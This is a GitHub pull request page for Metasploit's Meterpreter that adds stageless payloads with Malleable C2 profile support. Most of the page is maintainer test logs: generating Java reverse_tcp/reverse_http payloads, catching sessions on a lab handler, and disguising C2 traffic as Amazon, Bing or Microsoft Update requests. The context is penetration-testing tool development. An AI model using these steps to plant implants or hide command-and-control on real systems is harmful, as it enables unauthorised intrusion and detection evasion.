Skip to content

Stageless PHP/Python/Java/Windows with Malleable C2 profile support#801

Merged
smcintyre-r7 merged 35 commits into
rapid7:6.5from
OJ:feature/mc2-all
Jul 7, 2026
Merged

Stageless PHP/Python/Java/Windows with Malleable C2 profile support#801
smcintyre-r7 merged 35 commits into
rapid7:6.5from
OJ:feature/mc2-all

Conversation

@OJ

@OJ OJ commented May 20, 2026

Copy link
Copy Markdown
Contributor

This PR modifies the Meterpreter implementations in various ways. All payloads now support:

  • Staged and stageless tcp/http/https
  • TLV-based configuration.
  • Transport commands (add/remove/etc).
  • Malleable C2 support via http/s.

Some work was already done on the Windows side, but that has been tweaked/fixed in this PR and hence needs to be tested again.

This code relies on the changes that are part of the Metasploit Framework PR. Discussion and more details can be found over there.

NOTE: Merge is targeting 6.5 branch.

Comment thread c/meterpreter/source/metsrv/server_http_utils.c Outdated
Comment thread python/meterpreter/meterpreter.py
@OJ

OJ commented May 31, 2026

Copy link
Copy Markdown
Contributor Author

@smcintyre-r7 thanks for having a look at this monster mate. I've clearly left a bit of debug logging stuff in Java and still need to tidy a few things up. Thanks for getting on this.

@OJ

OJ commented Jun 3, 2026

Copy link
Copy Markdown
Contributor Author

Thanks @smcintyre-r7 ! I've addressed those points. Let me know what you think. Cheers.

@dledda-r7 dledda-r7 self-assigned this Jun 3, 2026
@dledda-r7

dledda-r7 commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

Java

No Profile

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: eibo8x71) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: eibo8x71) Redirecting stageless: URI '/JV1aTHuoWsFRjlWfO6mwugVb4WxmBn68usfESId7_dLpY05iTnay1VB8zPq3yA9p23DRaoqjYbhTL4rK_F2-N5RvgPbSpXfbZP/' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID JV1aTHuoWsFRjlWfO6mwuABHSZSSjTqM_JZIv7-n9GQv-yCLywazHqrKbF79g-zzR
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: eibo8x71) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: eibo8x71) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: eibo8x71) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 2 opened (192.168.3.10:8080 -> 192.168.3.10:44364) at 2026-06-09 05:47:35 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

Test Profile 1

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/cDZORUZrek9nNzdnbGVTRWlySUFDZ3hvMU9SRnRMcEJkYWFKUTg3UzFxVE11NzJCNmRfNzk4Y3dKbmxzOTgtRlNvQkM4Z2xkRzlnMjFtR2Z1cGV5M2tOclllZ3piYVFWSWpnV0N2RU1jUmhIRg.cab' with UA 'Java/25.0.3' -> UUID p6NEFkzOg77gleSEirIAOgjz9lvOC-Rr-N3UxlU3ICBr5z7SSM4WYOa0SmYxdCi0NLh0n9sew28bavXa84C-xx
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Without a database connected that payload UUID tracking will not work!
[-] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 21ogv6mt) Exception handling request: undefined method `[]' for nil

msf payload(java/meterpreter_reverse_http) > 

@OJ the profile that is causing problems is the same i am using in mettle

@OJ

OJ commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

@dledda-r7 Thanks for testing again mate. I've fixed the java payload. It was working for my profile as I wasn't setting restricted headers like your profile was. So you should be ok now. This should be working in Mettle as well!

@OJ

OJ commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

I added to the framework side as well, so grab that too please.

@dledda-r7

Copy link
Copy Markdown
Contributor

Hey @OJ, super thanks for quickly addressing that. gonna start mass-testing mettle now with all the arches and picking up like ~20 profiles just to be sure we are all set and then move to Java and friends. Thank you very much for this 🎉

@rapid7 rapid7 deleted a comment from nabkingo Jun 10, 2026
@rapid7 rapid7 deleted a comment from nabkingo Jun 10, 2026
@rapid7 rapid7 deleted a comment from nabkingo Jun 10, 2026
@rapid7 rapid7 deleted a comment from nabkingo Jun 10, 2026
@dledda-r7

dledda-r7 commented Jun 10, 2026

Copy link
Copy Markdown
Contributor

Test Plan

Java ✅

reverse_tcp (staged, stageless)

staged ✅

msf payload(java/meterpreter/reverse_tcp) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/metasploit/Payload.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/metasploit/Payload.class is being used
[*] Writing 5262 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter/reverse_tcp) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter/reverse_tcp) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/metasploit/Payload.class is being used
[*] Payload Handler Started as Job 2
msf payload(java/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.3.10:4444 

msf payload(java/meterpreter/reverse_tcp) > WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/javapayload/stage/Stage.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/javapayload/stage/Meterpreter.class is being used

[*] Sending stage (62951 bytes) to 192.168.3.10
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 3 opened (192.168.3.10:4444 -> 192.168.3.10:36376) at 2026-06-10 10:45:57 -0400

msf payload(java/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > exit
[*] Shutting down session: 3

[*] 192.168.3.10 - Meterpreter session 3 closed.  Reason: User exit
msf payload(java/meterpreter/reverse_tcp) > 

stageless ✅

msf payload(java/meterpreter_reverse_tcp) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 3
msf payload(java/meterpreter_reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.3.10:4444 

msf payload(java/meterpreter_reverse_tcp) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60259 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_tcp) > WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 4 opened (192.168.3.10:4444 -> 192.168.3.10:38160) at 2026-06-10 10:47:24 -0400

msf payload(java/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 4

[*] 192.168.3.10 - Meterpreter session 4 closed.  Reason: User exit
msf payload(java/meterpreter_reverse_tcp) > 

reverse_http(staged,stageless)

staged ✅

msf payload(java/meterpreter/reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/metasploit/Payload.class is being used
[*] Payload Handler Started as Job 4
msf payload(java/meterpreter/reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter/reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: zneay8ps) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/javapayload/stage/Stage.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/javapayload/stage/Meterpreter.class is being used
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: zneay8ps) Staging java payload (63144 bytes) ...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: zneay8ps) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 5 opened (192.168.3.10:8080 -> 192.168.3.10:54550) at 2026-06-10 10:49:05 -0400

msf payload(java/meterpreter/reverse_http) > sessions -i -1
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 5

[*] 192.168.3.10 - Meterpreter session 5 closed.  Reason: Died
msf payload(java/meterpreter/reverse_http) > 

stageless ✅

msf payload(java/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 5
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5j8u2ozr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5j8u2ozr) Redirecting stageless: URI '/qOCuhDq4kHViHGYNCDUYBQ-BzXZY1M4j6cf6Se27wiALP9d80heHySCATE8BhjQk2e8Iocn6UoWkvtnsyyFkv/' with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15' -> UUID qOCuhDq4kHViHGYNCDUYOAxxiQVB4l1OzEwu_5-_nuoVLdCl4P7wS5rP-iOlPFX-7NDd1iPm6_LVZCgVc64qUoeybrR9YAwyuPm
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5j8u2ozr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5j8u2ozr) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5j8u2ozr) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 6 opened (192.168.3.10:8080 -> 192.168.3.10:32974) at 2026-06-10 10:52:21 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 6...

meterpreter > sysinfo
gComputer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 6

[*] 192.168.3.10 - Meterpreter session 6 closed.  Reason: User exit
msf payload(java/meterpreter_reverse_http) > 

test 15 profiles

amazon ✅

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60924 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 1
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: tmilqdvj) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: tmilqdvj) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15' -> UUID XiHGH_rc81-gk6SCyrrXJgI-ujLeJXbD_JB-dKspr8a4zbc8N
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: tmilqdvj) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: tmilqdvj) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: tmilqdvj) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 2 opened (192.168.3.10:8080 -> 192.168.3.10:44770) at 2026-06-10 10:41:58 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.3.10 - Meterpreter session 2 closed.  Reason: User exit
msf payload(java/meterpreter_reverse_http) > set malleablec2 
malleablec2 => /home/kali/Documents/profiles/amazon.profile
msf payload(java/meterpreter_reverse_http) > 

bing_maps ✅

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: g196zxck) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: g196zxck) Redirecting stageless: URI '/maps/overlaybfpr' with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15' -> UUID 6zCYYWSzVJAUABARfilqjQTcOvkJ8Bgeo
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: g196zxck) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: g196zxck) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: g196zxck) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 7 opened (192.168.3.10:8080 -> 192.168.3.10:57666) at 2026-06-10 11:11:12 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > exit
[*] Shutting down session: 7
set
[*] 192.168.3.10 - Meterpreter session 7 closed.  Reason: Died
msf payload(java/meterpreter_reverse_http) > set malleablec2 
malleablec2 => /home/kali/Documents/profiles/bing_maps.profile
msf payload(java/meterpreter_reverse_http) > 

bingsearch_getonly ✅

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60894 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: d9l4asp8) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: d9l4asp8) Redirecting stageless: URI '/search/' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID Uq1p4Unjl_W34LPx3cy_MQR103cjNtVMv-eqlh7In-0ifByjD7YiAHR_vAhYZOjqfD2w4Hh1-8MIw
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: d9l4asp8) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: d9l4asp8) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: d9l4asp8) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:55846) at 2026-06-12 09:25:40 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(java/meterpreter_reverse_http) > set malleablec2 
malleablec2 => /home/kali/Documents/profiles/bingsearch_getonly.profile
msf payload(java/meterpreter_reverse_http) > 

microsoft_update ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/microsoft_update.profile
malleablec2 => /home/kali/Documents/profiles/microsoft_update.profile
msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/met
metsrv.aarch64.elf              metsrv.reflect.exe              metsrv.x64.exe                  metsrv_x86_blockapi_random.exe
metsrv.armle.elf                metsrv.x64.el                   metsrv.x64.raw                  mettle.c2.x64.elf
metsrv.jar                      metsrv.x64.elf                  metsrv_random_blockapi.exe      
msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60717 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 0
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: uoc81kwh) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: uoc81kwh) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/cHdPX0pYRm5FMWYzaGZPVW5iVHZGZ2VDQUtrenBKdWQ.cab' with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0' -> UUID pwO_JXFnE1f3hfOUnbTvGwAYoSWgbdpVKjM0WAKGL0fGyGJyo3TFf01N-EfSSRWeZc28s0BRSCOxb7a3xcZYOwZD1LsKs-_4DI4bdD
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: uoc81kwh) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: uoc81kwh) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: uoc81kwh) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:52698) at 2026-06-16 05:34:22 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

mscrl ✅

msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 1
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8sgcd6um) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8sgcd6um) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID MPYAgoJRZg3cHNgNtjDWfgS_mCkst6WK6i8xZX8UDGGu08XTWjkcKWuSdcc5YNBENQYfx
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8sgcd6um) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8sgcd6um) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8sgcd6um) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:51458) at 2026-06-12 09:32:19 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: Died
msf payload(java/meterpreter_reverse_http) > set malleablec2 
malleablec2 => /home/kali/Documents/profiles/mscrl.profile
msf payload(java/meterpreter_reverse_http) > 

msnbcvideo_getonly ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/msnbcvideo_getonly.profile
malleablec2 => /home/kali/Documents/profiles/msnbcvideo_getonly.profile
msf payload(java/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 2
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60928 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: fqb4wrzh) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: fqb4wrzh) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID gIdG5F3kiGgHiwOabacMmwYvIW16LY3Zg9
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: fqb4wrzh) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: fqb4wrzh) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: fqb4wrzh) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 2 opened (192.168.3.10:8080 -> 192.168.3.10:40572) at 2026-06-12 09:35:12 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

office365_calendar ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/office365_calendar.profile
malleablec2 => /home/kali/Documents/profiles/office365_calendar.profile
msf payload(java/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 3
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60901 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 6jnqm31o) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 6jnqm31o) Redirecting stageless: URI '/owa/' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID 8b_rrm0I78IGnQKMbLENXwx5g0mY_Lfv3Gqs6Dpc1tMhPFm-s
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 6jnqm31o) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 6jnqm31o) Attaching orphaned/stageless session...
